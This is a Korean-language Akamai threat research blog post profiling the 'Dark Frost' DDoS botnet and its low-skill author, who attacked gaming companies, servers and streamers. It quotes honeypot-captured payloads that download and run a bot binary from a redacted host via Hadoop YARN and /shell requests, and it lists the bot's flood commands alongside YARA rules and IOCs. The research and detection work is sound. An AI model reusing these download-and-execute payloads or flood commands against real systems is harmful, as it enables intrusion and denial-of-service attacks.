클라우드 컴퓨팅이 필요하신가요? 지금 시작해보세요

Dark Frost 에니그마: 의외로 널리 퍼져 있는 봇넷 작성자 프로파일

Allen West

에 의해 작성

Allen West

May 25, 2023

Allen West

에 의해 작성

Allen West

앨런 웨스트는 Akamai 보안 인텔리전스 대응팀의 보안 연구원으로 위협 조사와 툴 구축을 즐깁니다. 현재 카네기 멜론 대학교에서 정보 보안 및 보증 석사 학위를 취득하고 있습니다. 그는 노스이스턴 대학교에서 사이버 보안 학부 학위를 받았으며 해병대 복무 경력이 있습니다. 앨런은 자유시간 동안 여행, 하이킹, 수영을 좋아하며, 야외에서 모험을 즐기는 모든 것을 좋아합니다.

편집 및 추가 설명: 일리어드 키미(Eliad Kimhy) 및 트리샤 하워드(Tricia Howard)

핵심 요약

  • Akamai 보안 인텔리전스 대응팀(SIRT)은 게임 업계를 노리는 새로운 봇넷인 "Dark Frost Botnet"을 발견했습니다.

  • Gafgyt, Qbot, Mirai 및 기타 멀웨어 변종으로 모델링된 Dark Frost 봇넷은 수백 개의 감염된 디바이스를 완전히 장악하는 수준으로 확장되었습니다.

  • 멀웨어 바이너리에 대한 리버스 엔지니어링과 패칭으로 Akamai가 분석한 결과, UDP 플러드 공격을 통한 봇넷의 공격 잠재력은 약 629.28Gbps인 것으로 확인되었습니다.

  • 이 블로그 게시물에서는 봇넷 작성자에 대해 자세히 알아봅니다. 이 특정한 공격자는 경계해야 할 위협 프로파일의 전형적인 예로, 상대적으로 정교하지는 못하지만 성공적입니다. 

  • 이러한 공격의 이면에 있는 동기, 공격의 영향, 법이 유사한 사례를 어떻게 처리해 왔는지 심층 분석해보겠습니다.

서론

봇넷은 다양한 목적과 동기를 제공합니다. 범죄 세계에서 봇넷 운영자는 암호화에서 스팸 배포에 이르기까지 모든 용도로 봇넷을 사용할 수 있습니다. 봇넷 대행이 늘어남에 따라 분산 서비스 거부 (DDoS) 공격 을 시작하는 데 필요한 노력이 크게 감소했습니다. 이제 비용을 지불할 수 있는 누구든 어떤 이유로든지 일상적 애플리케이션부터 복잡한 애플리케이션까지 다양한 애플리케이션을 사용하여 공격할 수 있습니다. 

최근 들어 봇넷 접속을 임대하는 대신 봇넷을 직접 구축하려는 사용자의 진입장벽이 크게 낮아져 무방비 상태의 피해자에게 심각한 위협이 되고 있습니다. 소유자의 동의 없이 수백 대의 디바이스를 오케스트레이션하여 작업을 실행하는 것은 어려워 보이지만 이 범죄에 개입하는 것은 믿을 수 없을 정도로 간단할 수 있습니다. 

우리는 봇넷 운영자를 정교하고 조직화된 범죄자라고 생각하는 경향이 있습니다. 그러나 이전에 성공한 멀웨어 변종의 소스 코드 사용 가능성과 점점 더 효과적인 AI 코드 생성은 최소한의 지식만으로도 자신만의 멀웨어를 만들 수 있도록 합니다. 이러한 "불필요한" 봇넷은 정교함이 부족함에도 불구하고 계속해서 문제를 가중시키며 성공하고 있습니다.

공격자 프로파일

Dark Frost 봇넷의 흥미로운 이야기는 우리에게 성공률과 독창성의 수준이 맞지 않는 당황스러운 공격자의 모습을 보여줍니다. 그럭저럭 생성된 봇넷은 널리 사용되는 여러 멀웨어 변종군(Mirai, Gafgyt, Qbot)의 도난 코드를 사용하여 만들어졌기 때문에 공격자는 게임 산업을 상당히 성공적으로 공격할 수 있습니다. 

이 모든 과정을 통해 이 공격자들이 소셜 미디어에서 자신들의 악용 행위를 자랑하고 봇넷을 활용하여 경미한 온라인 사기 행위에 가담하며 바이너리에 디지털 서명을 남기는 모습이 목격되었습니다(그림 1). 

이 위협 프로파일은 생각보다 더 광범위합니다. 충분한 결단력과 약간의 기초적인 코딩 지식으로 거의 누구나 실질적인 위협을 가할 수 있습니다. 이러한 행동이 가져올 수 있는 결과를 이해할 수도 있고 이해하지 못할 수도 있는 젊은 사람들을 논하다 보면 특히 그렇습니다. 법 위에 살 수 있다는 능력에 대한 그들의 자신감은 확립된 법적 변수들을 능가하여, 예상보다 더 위험한 상황을 초래할 수 있습니다.

소셜 미디어에서 악용 행위를 자랑하는 공격자의 스크린샷 그림 1: 반향에 대한 면역력이 있다고 주장하는 Dark Frost 작성자

우리의 목표는 특정한 수준 낮은 사이버 공격자에게 관심(그들이 바라는 인정을 얻는 것)을 집중시키는 것이 아닙니다. 이러한 이유로 게시물에서  그림의 식별 가능한 정보는 삭제하기로 결정했습니다. 이 문서를 작성하게 된 주된 이유는 이 특정 봇넷을 모범 사례 연구로 활용하여 기술 수준이 낮은 공격자라도 어떻게 심각한 피해를 입힐 수 있는지 강조하는 것이었습니다

수많은 언론이 의심하지 않는 피해자에 대해 완전히 새로운 공격을 가하기 시작하는 가장 큰 위협 그룹에 초점을 맞추고 있습니다. 그러나 진실은 공격자 환경의 상당 부분이 현재 벤치마크에서 "약함"으로 간주되는 공격을 통해 단순히 보안이 취약한 리소스를 표적으로 삼는 방식으로 공격에 성공하는, 즉 비교적 정교하지 않은 공격자로 구성되어 있다는 점입니다. 

감염 관련 캠페인

우리의 첫 번째 Dark Frost 바이너리 샘플은 2023년 2월 28일 Akamai SIRT(Akamai 보안 인텔리전스 대응팀) HTTP 허니팟에서 수집되었습니다. 공격자는 원격 코드 실행(RCE)을 허용하는 Hadoop YARN 서버(CVE 할당 없음)에서 잘못된 작업 구성을 표적으로 삼았습니다. 이 샘플은 "Darkness 봇넷"이라는 이름으로 작성되었지만 해당 제목은 이미 2010년에 DDoS 공격 대행 캠페인에 쓰였습니다. 따라서 원래 이름과 기타 바이너리 참조를 고려하여 "Dark Frost 봇넷"이라고 명명했습니다.

이 YARN의 잘못된 작업 구성의 악용은 최근 CVE가 할당되지 않았고, 위협 공격자가 서버를 속여 악성 바이너리를 다운로드 및 실행하도록 할 수 있어 그 인기가 증가하고 있습니다. 그러나 이러한 취약성은 2014년부터 존재했으므로 신종 기법과는 거리가 멀다는 점에 유의해야 합니다. 하지만 봇넷의 성공률을 고려하면 생성된 지 시간이 꽤 되었음에도 불구하고 향후 봇넷에 영향을 미치는 요인이 될 수 있습니다. 

공격자는 애플리케이션이 이러한 종류의 공격에 취약한지 확인하기 위해 정찰병을 보내는 것으로 시작했습니다(그림 2).

  /ws/v1/cluster/apps/new-application

  (empty)

그림 2: 취약성 확인을 위한 정찰병

우리가 제공한 알려진 취약성 인스턴스로부터 응답을 받은 공격자는 대상이 적절하다고 판단하여 악성 페이로드를 전송했습니다(그림 3).

  /ws/v1/cluster/apps	

  {"am-container-spec": {"commands": {"command": "cd /tmp ; pkill -9 roof ; get 
  http://xx.xx.xx.xx/roof; chmod 777 *; ./roof x86; rm -rf roof ; history -c"}}, 
  "application-id": "application_xxxxxxxxx_xxxxx", "application-type": "YARN", 
  "application-name": "xxxxxxx"}

그림 3: 악성 페이로드 전송 

또한 다른 HTTP 요청이 전송되는 것을 볼 수 있지만 현재 어떤 용도로 사용될 수 있는지 알 수 없습니다(그림 4).

  Feb 12, 2023 @ 00:44:13.207	

  /users/sign_up/users/sign_in

  -

그림 4: 추가 HTTP 요청(알 수 없는 용도)

파일을 처음 볼 때 바이너리의 이름은 "roof"로 지정되었고, 다양한 써드파티 툴을 통해 해시는 아무런 평판을 얻지 못했지만 우리의 내부 자동화 도구는 이것이 Gafgyt와 유사하다고 판단했습니다(그림 5). 이는 공격자 IP가 Dark Frost 바이너리가 배포되는 수개월 동안 Gafgyt의 변종을 배포하는 것이 목격되었다는 사실 때문일 수 있지만 현재 많은 멀웨어에서 공통적으로 사용하는 다양한 문자열과 일치하기 때문일 가능성이 더 높습니다. 

Gafgyt와의 연관성을 보여주는 스크린샷 그림 5: Gafgyt와의 연관성을 보여주는 Dark Frost

추가 바이너리를 찾기 위해 IP 주소를 선회한 결과 2022년 10월부터 동일한 작성자가 각각 지정한 "roof"라는 이름이 더 많이 발견되었습니다. 이는 우리가 작업할 수 있는 새로운 IP를 주었고, 결과적으로 페이로드를 배포하려는 추가 시도에 대한 증거가 되었습니다(그림 6. 인종적 민감도에 대한 검열).

  /shell?cd%20/tmp%20%7C%7C%20cd%20/var/run%20%7C%7C%20cd%20/mnt%20%7C%7C%20cd%20/root%20%7C%7C%20cd%20/;%20wget%20http://xx.xx.xx.xx/XXXXX7%20;%20chmod%20777%20*%20;%20./XXXXX7%20arm7

그림 6: 페이로드를 배포하려는 추가 시도에 대한 증거

이러한 감염 시도는 페이로드 실행의 유일한 수단은 아닙니다. 하지만 우리는 공격자뿐만 아니라 봇넷에 대한 이해를 얻기 위한 많은 정보를 가지고 있습니다.

게임에 대한 공격

파일에 대한 첫 번째 분석 형식은 간단한 "문자열" 명령이었습니다. 이 명령을 통해 이 바이너리와 기타 데이터를 담당하는 공격자의 이름을 즉시 확인할 수 있었습니다. 우리는 이 정보를 사용하여 해당 봇넷과 수많은 공격을 주도했다고 주장하는 수많은 소셜 미디어 계정을 찾아냈습니다. 

Dark Frost 봇넷은 주로 기업과 개개인 등 게임 업계의 다양한 집단을 표적으로 삼았습니다. 이 봇넷은 게임 회사, 게임 서버 호스팅 공급자, 온라인 스트리머 그리고 공격자가 직접 상호 작용한 게임 커뮤니티의 다른 멤버에게도 DDoS 공격을 시작했습니다. 

때로는 그 동기가 관심을 받고 싶은 것으로 보이기도 하고 때로는 단지 논쟁에서 최종 결정권을 얻기 위한 것으로 보이기도 합니다. 어느 쪽이든 이 특별한 경우를 흥미롭게 만드는 것은 바로 이러한 공격의 배후에 있는 공격자가 모든 사람들이 볼 수 있도록 공격 행위에 대한 라이브 녹화를 게시했다는 것입니다. 몇 가지 성공적인 공격을 분석해보면 그들이 얼마나 많은 성과를 거두는지 알 수 있습니다.

관심을 구하는 미사일

이 특정 공격자는 다양한 수준의 증거와 함께 꽤 많은 정성을 들였습니다. 때때로 그들은 다양한 문제의 원인이 될 거라고 그리 큰 관심이 쏠리지 않을 주장을 하며 소셜 미디어에 글을 게시했습니다. 그러나 그들은 때때로 공격 결과를 문서화한 스크린샷으로 이러한 주장을 뒷받침하도 합니다. 

예를 들면 전용 서버와 MOD 지원을 갖춘 오픈 소스 게임 호스팅 플랫폼인 Plutonium 서버에 대한 공격에 대한 트윗이 있습니다(그림 7).

예: Plutonium 서버 공격에 대한 트윗 그림 7: Plutonium 서버에 대한 공격을 공개적으로 자랑하는 Dark Frost 작성자

이러한 트윗은 시작에 불과합니다. 공격자는 AmongUs 서버에 대한 공격과 같은 공격의 전체 영상을 게시하기도 합니다(그림 8).

AmongUs 서버 공격을 게시하는 공격자의 스크린샷 그림 8: AmongUs 서버에 대한 성공적인 공격을 영상으로 녹화한 Dark Frost 작성자의 스크린샷

스크린샷에서 볼 수 있듯이 이 공격자는 한동안 활동을 지속했습니다. 우리는 Rogue 회사 서버를 공격했을 당시인 2022년 5월까지의 공격을 추적할 수 있었습니다(그림 9).

AmongUs 서버 공격에 성공한 스크린샷 그림 9: Rogue 회사 서버에 대한 성공적인 공격을 영상으로 녹화한 Dark Frost 작성자의 스크린샷

처음에는 본인이 사용하려는 목적인 것으로 보였지만 나중에 우리는 공격자가 추가 계정을 만드는 것을 목격했습니다. 즉 이는 공격 그룹을 시작하려는 의도를 나타냅니다. 이 이론은 또한 요청을 추적하는 웹 사이트(그림 10)와 금전적 이익을 위해 공격을 촉진하는 디스코드 채널(그림 11)을 추가하는 것으로 뒷받침됩니다.

요청 캡처 스크린샷 그림 10: 레이어 7 요청 캡처
 피해자 중 일부를 조롱하는 공격자 그림 11: 자신의 서비스를 광고하는 공격자

심지어 공격자가 일부 피해자를 조롱하고 구매자에 대한 정보를 공개하는 것을 발견했습니다(그림 12).

피해자를 조롱하는 공격자 그림 12: 최근 공격의 피해자를 조롱하는 공격자

이러한 많은 성공과 성장 계획이 진행됨에 따라, 이 위협에 대해 더 깊이 파고들어야 한다는 점이 분명해졌습니다.

한 겹씩 벗겨내기

멀웨어를 분석할 때 가장 답하기 어려운 질문 중 몇 가지는 멀웨어를 담당하는 사람은 누구이며, 표적은 누구인지 그리고 봇넷 규모가 얼마나 큰지 등입니다. 이 사이버 범죄자가 우리에게 처음 두 가지 질문에 답했기 때문에 우리는 그들이 세 번째 질문에도 답할 수 있는지 알아보기로 했고, 이들은 예상대로 답을 제공했습니다.

그림 13 - 2023년 2월 멀웨어 작성자가 찍은 스크린샷에 따르면 봇넷에는 414개의 디바이스가 있으며 대부분은 ARMv4 아키텍처이고, 그 다음 두 개는 MIPSEL과 x86입니다. ARMv4의 존재는 특히 흥미롭습니다. 이 아키텍처는 매우 구식이기 때문입니다. ARMv4는 ARMv5 및 ARMv6와 호환되기 때문에, 보통 ARMv4 및 ARMv7용으로 특별히 컴파일링하는 방법이 사용됩니다. ARMv4와 ARMv7을 컴파일링하면 ARMv7 아키텍처에서 실행되는 보다 최신의 디바이스를 대상으로 멀웨어가 실행될 수 있습니다. 

이 이중 표적 접근 방식은 멀웨어가 더 넓은 네트워크를 만들어 디바이스의 감염 가능성을 높입니다.

2023년 2월 멀웨어 작성자가 찍은 스크린샷 그림 13: Dark Frost 봇넷 디바이스 분석 스크린샷

다음으로, 우리는 모든 것이 어떻게 공격을 받는지에 대한 질문에 깊이 생각해봐야 한다는 것을 알았습니다. 이를 위해 우리는 허니팟 로그를 샅샅이 뒤지고 페이로드를 추출하여 실제 악용 사례를 관찰하기 시작했습니다.

오리진 보고: 낮음

자동화된 바이너리 수집 시스템(그림 14)이 아니었다면 바이너리를 손에 쥐기 어려웠을 것입니다. 조사 당시 배포 IP가 다운되었기 때문입니다. 

Dark Frost 바이너리 샘플 그림 14: Dark Frost 바이너리 샘플 다운로드 시도 실패

샘플을 검색하면서 우리는 x86-64 버전을 다루고 있다는 사실을 알게 되었습니다(그림 15). 이 버전은 스트리핑되어 리버스 엔지니어링 시 약간의 불편함이 있었습니다.

Dark Frost의 샘플 그림 15: Dark Frost의 제거된 샘플

그러나 코드 내에 우리의 방향을 정하는 데 도움을 주는 오류 처리 및 사용 메시지와 같은 기타 여러 지표가 있었습니다(그림 16).

코드 내에 우리의 방향을 정하기 위한 오류 처리 및 사용 메시지 스크린샷 그림 16: Dark Frost 오류 메시지

총 8건의 공격이 있었으며 UDP 및 TCP와 같은 공격은 매우 흔했지만, Zgoflood와 같이 좀 더 특이한 것들도 있었습니다(그림 17).

  “Usage: !udp <target> <port> <time> <packetsize>",
  “Usage: !tcp <target> <port> <time> <packetsize> <flag(s)>",
  “Usage: !onepacket <target> <port> <time>",
  “Usage: !zgoflood <target> <port> <time>",
  “Usage: !socketflood <target> <port> <time>",
  “Usage: !junkflood <target> <port> <time>",
  “Usage: !std <target> <port> <time> <packetsize>",
  “Usage: !randflood <target> <port> <time> <packetsize>",
  “Usage: @c2 <c2 ip> <c2 port> <seconds> <threads>",

그림 17: Dark Frost의 공격 옵션

샘플의 리버스 엔지니어링 작업을 통해 일부 제거된 함수의 이름을 기존에 사용했던 것으로 추론되는 이름으로 바꿀 수 있었습니다(그림 18).

  > afn fcn.rand_hex_flood 0x00400620
  > afn fcn.std_flood 0x00400f80
  > afn fcn.junk_flood 0x00401080
  > afn fcn.socket_flood 0x004009d0
  > afn fcn.tcp_flood 0x004016f0
  > afn fcn.one_packet_flood fcn.00400770
  > afn fcn.zgo_flood fcn.00400880
  > afn fcn.udp_flood 0x00401450
  > afn fcn.switch_on_attacks fcn.004020e0
  > afn fcn.register_with_c2 fcn.00402ab0
  > afn fcn.watchdog_keep_alive fcn.004001c0

그림 18: 이름을 다시 붙인 제거된 함수

그런 다음 IP가 명령 및 제어(C2) 서버가 되도록 바이너리(그림 19)를 패치했습니다. 이제 문자열 변수의 이름이 실제 값과 다름을 확인할 수 있습니다. 흥미로운 점은 C2가 이 변경 사항 이전의 멀웨어 배포 IP였다는 것입니다.

패치된 바이너리 스크린샷 그림 19: 패치된 Dark Frost 바이너리

그런 다음에 샘플에 실행 권한을 부여하고 이를 실행하여 어떤 일이 발생할지 확인했습니다. 이를 통해 우리는 그림 20의 C2 메시지가 구체적으로 나타내듯 Linux 기반 Qbot 변종일 가능성이 있다는 것을 깨달았습니다.

Linux 기반 Qbot 변종 처리 그림 20: Qbot에 대한 연관성을 보여주는 Dark Frost 메시지

소스 코드의 많은 부분이 BASHLITE가 공통 상위 항목으로 되어 있는 다양한 멀웨어 변종에서 온 것으로 보이기 때문에, 이 멀웨어의 정확한 출신을 파악하기는 매우 어렵습니다. BASHLITE는 Gafgyt, Lizkebab, PinkSlip, Qbot, Torlus, LizardStresser로도 알려져 있으며 조합에 상당한 혼란을 줍니다. 

CNCERT IoT 위협 연구팀과 NSFOCUS Shadow Labs의 합동 간행물에서는 2022년 12월부터 이 작성자의 과거 Gafgyt 및 Mirai 관련 작업에 대해 논의한 바 있습니다. 그러나 우리의 수동 상세 분석을통해 볼 때 Dark Frost 봇넷은 Qbot과 Gafgyt의 많은 유사성을 직접적으로 언급하는 BASHLITE 오프슈팅의 새로운 DDoS 중심 복합물처럼 보였습니다. 이 멀웨어와 관련하여 Qbot에 대한 한 가지 중요한 사실은 뱅킹 트로이 목마 "Qakbot/Qbot"이 아닌 BASHLITE 하위 항목인 "Qbot"을 지칭한다는 것입니다. 

GitHub에는 DDoS 공격을 의도로 한 Qbot, Gafgyt 및 Mirai 변종이 다수 공개되어 있으며, 공격자가 이러한 변종에서 자신의 코드를 대부분 가져간 후 자신의 C2를 작성했다고 판단합니다. 도난된 코드와 구식 악용 사례에도 불구하고 그들은 몇몇 온라인 서비스를 중단시킬 수 있었습니다.

방법을 알아내기 위해 우리는 공격 능력을 평가하는 작업을 시작했습니다.

공격 벤치마킹

다른 터미널로 지정된 C2 포트(TCP/420)에서 수신해 C2 연결 검사를 통과할 수 있었지만 프로그램이 오류와 함께 종료되는 것처럼 보였습니다(그림 21).

C2 연결 확인 그림 21: Dark Frost C2 연결 시도 성공

멀웨어는 디바이스를 감염시킨 멀웨어 샘플의 아키텍처 및 OS 유형을 다시 보고하려고 시도합니다(그림 22). 이 경우 Arch Linux를 사용하여 x86 샘플을 터뜨리고 분석할 수 있습니다.

디바이스를 감염시킨 멀웨어 샘플 그림 22: 디바이스 보고를 보여주는 Dark Frost 어셈블리

연결 및 등록 단계를 성공적으로 통과한 후에 프로그램은 우리가 최선의 노력을 다했음에도 불구하고 계속 종료되었습니다. 몇 가지 유용한 오류 메시지는 멀웨어 랩에 설치된 감시 드라이버가 부족해진 원인을 나타냈습니다. 프로세스가 명령줄에서 실행을 중지한 것처럼 보이지만 백그라운드에서 명령을 기다리고 있는 하위 프로세스를 시작했다는 것을 깨달을 때까지 우리는 이 검사를 여러 번 우회하거나 통과하려고 시도했습니다. 

이를 테스트하기 위해 우리는 C2 통신을 위한 인터넷 중계 채팅으로 일반적인 BASHLITE 변종에 대한 하트비트를 전송했습니다(그림 23).

C2 통신 스크린샷 그림 23: C2와의 하트비트 통신

하트비트를 전송하면 적절한 응답이 반환되었고 우리 스스로 공격을 시작할 준비가 되었습니다. 우리가 테스트하기로 결정한 첫 번째 공격은 udp_flood (그림 24)였습니다. 이는 각 패킷이 공격자가 제공한 특정 길이의 "U"로 패딩된 간단한 UDP 패킷 플러딩으로 보입니다.

udp_flood 공격 테스트 그림 24: UDP 플러드 패킷 캡처.

TCP를 통해 적은 양의 16진수로 인코딩된 콘텐츠를 전송하는 socketflood junkflood 공격도 매우 유사하게 나타났습니다(그림 25). 또 한 가지 주목할 점은 바로 socketflood가 실제로는 HOLD 플러드로 프린트된다는 것입니다. 

공격 socketflood 및 junkflood의 스크린샷 그림 25: socketflood 및 junkflood의 패킷 캡처

@c2로 표시된 C2 명령을 테스트한 결과 사용 오류가 발생했습니다. 우리는 @c2가 아마 !c2를 의미할 것이라고 생각하고 그것을 시도해(그림 26) 단일 패킷을 전송했습니다.

C2 명령 테스트 그림 26: C2를 시도하기 위해 전송된 패킷

다음과 같은 공격, 즉 onepacket, std, randflood, Zgoflood 또한 성공적으로 실행되었지만 실제로 어떠한 데이터도 보내지 않았습니다(그림 27). 이는 이러한 기능이 아직 개발 중이거나 망가졌음을 의미할 수 있습니다.

onepacket, std, randflood, zgoflood 공격 그림 27: onepacket, std, randflood 및 zgoflood 테스트

보시다시피 이 멀웨어는 완벽함과는 거리가 멉니다. 또한 다양한 사용 명세를 트리거하지만 공격을 일으키지는 않는 다른 많은 단서를 발견했으며, 프로그램 전체에 걸쳐 잘못 인코딩된 증오 메시지도 다수 있었습니다. 하지만 공격자는 많은 공격에 성공했기 때문에 실제로 얼마나 많은 피해를 일으킬 수 있는지 정확히 살펴봐야 했습니다. 

잠재적 손상

우리는 공격을 벤치마킹하기 시작했으며 UDP 플러드가 가장 신뢰할 수 있고 가장 많은 결과를 냈다는 사실을 발견했습니다. 크기가 전송된 총 데이터 양에 어떤 영향을 미치는지 확인하기 위해 1024부터 시작하여 다양한 패킷 크기를 사용했습니다.

그림 28에서 볼 수 있듯이 특정 포트에서 10초 동안 이 작업을 실행한 다음, 결과를 분석하기 위해 tcpdump에서 이 데이터를 수집했습니다(그림 29).

  !udp xxx.xxx.xxx.xxx 1420 10 1024

그림 28: 공격 벤치마킹

tcpdump의 스크린샷 그림 29: UDP 플러드의 tcpdump

10초 동안 패킷 크기가 1,024인 결과는 140만 개의 패킷을 캡처해 총 1.5GB의 데이터를 얻었습니다. 이는 1.2Gbps의 성능을 냅니다. 동일한 실험을 통해 다양한 크기의 패킷에 대해 다음과 같은 결과를 확인했습니다(표 1).

패킷 크기

캡처된 패킷

총 크기

출력

256

1,818,558

545M

436Mbps

512

1703925

927M

741.6Mbps

1,024

1,448,826

1.5G

1.2Gbps

2,048

307,429

449M

359.2Mbps

표 1: 조각 제외를 사용하여 패킷별로 출력하는 Dark Frost

이와 같은 테스트 실행 시 공격자가 이 패킷과 함께 사용하기 위해 이용하는 것을 가장 많이 볼 수 있는 것은 1,024 근처입니다. 두 배가 되면 패킷 조각화로 인해 패킷 출력이 저하됩니다. 즉 조각이 아닌 지정된 포트를 통해 들어오는 패킷만 관찰합니다. 벤치마크를 올바르게 계속하기 위해서는 조각화 방지를 위해 루프백에서 이러한 공격을 시작해야 했고 재측정을 위해 루프백 인터페이스 수신을 대기해야 했습니다(표 2). 

패킷 크기

캡처된 패킷

총 크기

출력

1,024

1,659,840

1.4G

1.12Gbps

2,048

1,445,158

1.9G

1.52Gbps

4,096

828,681

1.9G

1.52Gbps

8,192

432,884

1.8G

1.44Gbps

표 2: 패킷 조각을 포함한 Dark Frost 출력

보시다시피 최대 출력의 최적 크기는 2,048이 됩니다. 이 지점 이후에는 전송되는 패킷 수가 크게 감소합니다. 이는 UDP 패킷이 원하는 길이로 만들기 위해 "U" 문자로 패딩되고 있기 때문일 수 있으며 이 작업으로 인해 크기가 커지면 속도가 느려질 수 있습니다. 

새로운 단일 노드 벤치마크로 1.52Gbps를 사용하여 2023년 2월(414)에 봇넷의 노드 수를 곱하면 629.28Gbps를 얻을 수 있습니다.

DDoS는 불법인가?

아마추어 사이버 범죄자나 심지어 “보안 연구자”가 다양한 목적으로 봇넷을 만들고 착수하는 동안 아무도 자신을 건드릴 수 없을 거라고 느끼는 것은 놀랍게도 흔한 일입니다. DDoS 대행 서비스 사용자는 이러한 서비스를 활용하여 공격을 개시할 때 자신이 범죄를 저지른다고 생각하지 않기 때문에 또 다른 잘못된 보안 계층을 추가합니다. 

테스트 및 발견 작업은 신임 연구원들에게 매우 중요하지만, 법적(또는 수탁) 파급을 피하기 위해 반드시 자신이 소유한 환경에서 수행해야 합니다. 사이버 범죄자들이 이러한 범죄에서 자신의 역할에 대해 책임을 지도록 하는 유인이 늘어나고 있습니다. 이는 선례를 만들고 이러한 서비스를 일반 대중에게 제공하는 것이 합법적인지에 대한 의심을 없애기 위한 것입니다.  

이와 같은 유사한 범죄행위를 단속하려는 노력의 대표적인 예로 Operation PowerOFF가 있습니다. 이는 2018년에 신설되어 2022년과 2023년에 추가 작업을 거쳤으며, 지속적인 운영을 통해 부분적으로 미국 연방 수사국, 네덜란드 경찰대, 유로폴, 독일 분데스리미날람트, 폴란드 사이버 범죄 대응국, 영국 국립범죄수사국과 합동 운영되고 있습니다. 목표는 DDoS 공격 대행 서비스를 제공하는 수많은 웹 사이트를 잡아내는 것입니다. 이 공격자가 구축해 판매하고자 하는 서비스와 매우 비슷합니다. 이러한 엄중 단속은 이제까지 여러 번의 체포와 몰수를주도해 많은 언론의 주목을 받았습니다.

그러나 기업은 단순히 불법이라고 해서 많은 사람들이 이를 시도하지 않을 것이라는 보장이 없음을 알아야 합니다. 적절한 방어 대책을 마련하여 그에 따라 자신을 보호하는 일은 각자에게 달려 있습니다.

결론

이러한 공격자가 보유한 기술은 신종이 아님에도 불구하고 그 범위가 엄청나게 넓어졌습니다. Dark Frost 봇넷은 가장 진보하거나 압도적으로 강력한 적은 아니지만 여전히 수백 개의 손상된 디바이스를 축적해 비딩을 계속하고 있습니다. 

최근 몇 년 동안 사회가 보여온 기술적 발전은 보이지 않는 곳에서 심각한 결과를 야기할 수 있는 매개체를 제공했습니다. Dark Frost 봇넷의 배후 공격자는 사업 확대를 위한 명확한 계획을 가지고 재정적 이득을 핵심 동인으로 더 큰 규모의 피해를 입히겠다는 의도를 보여주었습니다. 보안 커뮤니티는 이러한 수준 낮은 공격자들이 주요 위협을 가하기 전에 이를 인식하는 것이 중요합니다. 

모든 공격자가 우리가 여기에서 프로파일링한 것과 같이 항상 그들의 악행을 공개적으로 드러내지는 않는다는 점에 유의해야 합니다. 어찌 됐든 이렇게 낮아진 진입장벽은 조직과 개개인 모두에게 수많은 피해를 주는 경로로 계속 악용될 것입니다. 

Akamai와 함께 보안을 유지하세요

Dark Frost 봇넷은 많은 온라인 서비스를 다운시킬 정도로 강력한 공격을 가하고 있지만, Akamai가 보호하는 서비스는 매우 안전합니다. SIRT는 이와 같은 위협을 지속적으로 모니터링하고 우리가 관찰한 내용에 대해 커뮤니티에 경고합니다. Akamai의 실시간 리서치에 대해 자세히 알아보려면 Twitter에서 Akamai를 팔로우하세요.

IOC

  • 해시

    • 45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da8 (Dark Frost)

    • f4167f038ecc414bd074eedfb1189c104b24549d3363efc236356d383ec72c41 (동일 작성자)

    • 0bdafdd65d9a1a0ed59745a8ef6f6fc0a0f6262c495547c3e45e203921dcc2f2 (동일 작성자)

    • 9b328d2e3ffbac07458054c9e148b66e5d60c4aff95c1475ee975ba2f2d350bc (동일 작성자)

    • beb8eedd346e0427ce65d8ac8c81a63922941d404ddb63b99f1e2adba3d1e769 (동일 작성자)

  • IP

    • 37.44.238[.]192

    • 46.249.32[.]136

    • 37.44.238[,]191

    • 178.17.174[,]182

  • 경로

    • http://<ip>/roof

  • Yara 룰

    • 엄격

  
rule ___Dark_Frost_roof_strict {
   meta:
      description = "Dark_Frost - file roof"
      hash1 = "45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da"
   strings:
      $s1 = "[37m] Usage: !socketflood <target> <port> <time>" fullword ascii
      $s2 = "[37m] Usage: !junkflood <target> <port> <time>" fullword ascii
      $s3 = "[37m] Usage: !randflood <target> <port> <time> <packetsize>" fullword ascii
      $s4 = "[37m] Usage: !zgoflood <target> <port> <time>" fullword ascii
      $s5 = "[37m] Usage: !std <target> <port> <time> <packetsize>" fullword ascii
      $s6 = "[37m] Usage: !udp <target> <port> <time> <packetsize>" fullword ascii
      $s7 = "[37m] Usage: !tcp <target> <port> <time> <packetsize> <flag(s)>" fullword ascii
      $s8 = "[37m] Usage: !onepacket <target> <port> <time>" fullword ascii
      $s9 = "32352e31302e3133392e3537" ascii /* hex encoded string '25.10.139.57' */
      $s10 = "3135332e33312e3231332e3333" ascii /* hex encoded string '153.31.213.33' */
      $s11 = "3135362e33332e3234312e35" ascii /* hex encoded string '156.33.241.5' */
      $s12 = "[37m] Connected to C2 on attempt #" fullword ascii
      $s13 = "[killer] finding and killing processes holding port %d" fullword ascii
      $s14 = "[37m] Usage: @c2 <c2 ip> <c2 port> <seconds> <threads>" fullword ascii
      $s15 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C" ascii
      $s16 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
      $s17 = "[killer] new login: killing pid=%d" fullword ascii
      $s18 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C" ascii
      $s19 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" fullword ascii
      $s20 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)" fullword ascii
   condition:
      uint16(0) == 0x457f and filesize < 400KB and
      8 of them
}
  • 관대

 

  rule ___Dark_Frost_roof_lenient {
   meta:
      description = "Dark_Frost - file roof"
      hash1 = "45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da"
   strings:
      $s1 = "!zgoflood"
      $s2 = “@c2 <c2 ip>”
      $s3 = “Successfully registered[darkness.%s] :D”
      $s4 = “ZGO Flooding”
   condition:
      any of them
}


Allen West

에 의해 작성

Allen West

May 25, 2023

Allen West

에 의해 작성

Allen West

